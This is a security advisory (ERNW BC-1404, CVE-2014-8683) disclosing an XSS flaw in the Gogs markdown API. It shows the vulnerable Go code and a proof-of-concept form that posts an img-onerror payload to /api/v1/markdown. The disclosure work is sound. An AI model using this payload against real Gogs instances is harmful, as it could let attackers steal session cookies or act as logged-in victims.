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XSS in Gogs Markdown Renderer
=============================
Researcher: Timo Schmid <tschmid@ernw.de>
Description
===========
Gogs(Go Git Service) is a painless self-hosted Git Service written in
Go. (taken
from [1])
It is very similiar to the github hosting plattform. Multiple users can
create
multiple repositories and share code with others with the git version
control
system. Repositories can be marked as public or private to prevent
access from
unauthorized users.
Gogs provides two api views to transform markdown into HTML at the urls
/api/v1/markdown and /api/v1/markdown/raw
The transformation is vulnerable to XSS.
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
CVSS Base Score
===============
4.3 (AV:N / AC:M / Au:N / C:P / I:N / A:N)
CVE-ID
======
CVE-2014-8683
Impact
======
The vulnerability could be used together with social engineering attacks
to gain
access to restricted resources by extracting authentication tokens from
cookies
or by executing commands in the context of the logged in victim.
Status
======
Not fixed
Vulnerable Code Section
=======================
models/issue.go:
[...]
func RenderMarkdown(rawBytes []byte, urlPrefix string) []byte {
body := RenderSpecialLink(rawBytes, urlPrefix)
body = RenderRawMarkdown(body, urlPrefix)
return body
}
func RenderMarkdownString(raw, urlPrefix string) string {
return string(RenderMarkdown([]byte(raw), urlPrefix))
}
[...]
Proof of Concept
================
Form to trigger XSS:
<form action="http://example.com/api/v1/markdown" method="post">
<input name="text" value="<img
onerror="alert(&quot;XSS&quot;)
" src="x">">
<input type="submit">
</form>
Response:
<p><img onerror="alert("XSS")" src="x"></p>
Solution
========
The markdown processing should reject or filter any HTML input and
process only
markdown content.
Affected Versions
=================
>= v0.3.1-9-g49dc57e
Timeline
========
2014-09-25: Developer informed
2014-10-16: Contact of developer regarding fix
2014-10-25: Working together with developer on fix
2014-11-03: Contacted developer
2014-11-14: CVE-ID assigned
Credits
=======
Pascal Turbing <pturbing@ernw.de>
Jiahua (Joe) Chen <u@gogs.io>
References
==========
[1] https://github.com/gogits/gogs
[2] http://gogs.io/
[3] https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
[4] https://www.ernw.de/download/BC-1404.txt
Advisory-ID
===========
BC-1404
Disclaimer
==========
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO
warranties, implied or otherwise, with regard to this information or its
use.
Any use of this information is at the user's risk. In no event shall the
author/
distributor be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information.
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Timo Schmid
ERNW GmbH, Carl-Bosch-Str. 4, 69115 Heidelberg - www.ernw.de
Tel. +49 6221 480390 - Fax 6221 419008 - Cell +49 151 16227192
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